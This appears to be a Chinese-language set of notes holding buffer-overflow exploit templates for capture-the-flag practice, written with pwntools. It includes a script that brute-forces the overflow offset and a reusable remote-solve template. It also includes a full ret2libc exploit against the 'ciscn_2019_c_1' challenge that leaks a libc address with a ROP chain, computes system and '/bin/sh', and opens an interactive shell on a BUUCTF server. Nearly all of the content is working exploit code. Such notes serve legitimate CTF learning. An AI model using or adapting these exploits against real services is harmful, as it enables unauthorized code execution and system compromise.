缓冲区溢出常用脚本

缓冲区溢出常用脚本

爆破返回地址偏移

from pwn import *

context.log_level='debug'

def find_overflow_lenth():
    i=1
    while True:
        try:
            io=process("./level4")
            io.sendline('a'*i)
            context=io.recvline()
            io.close()
            if context.startswith('Hello, World!'):
                i+=1
            else:
                return i-1
        except EOFError:
            io.close()
            return i


lenth=find_overflow_lenth()
log.info('lenth:'+hex(lenth))

常规解题模板

from pwn import *
from LibcSearcher import * 


select = 1

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn', 27028)
    #libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)

retlibc libcsearch模板

from pwn import *
from LibcSearcher import *
context.log_level='debug'   

p=remote("node4.buuoj.cn",28215)
#p=process("ciscn_2019_c_1")
elf=ELF('./ciscn_2019_c_1')
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
start_addr=elf.symbols["_start"]
pop_rdi_addr=0x0000000000400c83

print("puts_plt",hex(puts_plt));
#print("\n")
print("puts_got",hex(puts_got));
print("start_addr",hex(start_addr))
print("pop_rdi_addr",hex(pop_rdi_addr))

p.recvuntil("!\n")
p.sendline("1")
p.recvuntil("ed\n")
payload1="A"*88+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
p.sendline(payload1) ## get_libc_base


p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc=LibcSearcher("puts",puts_addr) # this is a libcsearch object
libcbase=puts_addr-libc.dump("puts") # address
binsh_addr=libcbase+libc.dump("str_bin_sh") # address
system_addr=libcbase+libc.dump("system") # address

print("puts_addr",hex(puts_addr))
print("libcbase is ",hex(libcbase))
print("system_addr is ",hex(system_addr))
print("binsh_addr is ",hex(binsh_addr))



p.recvuntil("!\n")
p.sendline("1")
p.recvuntil("ed\n")
ret_addr=0x4006b9
payload2="A"*88+p64(ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload2) ## get_shell

p.interactive()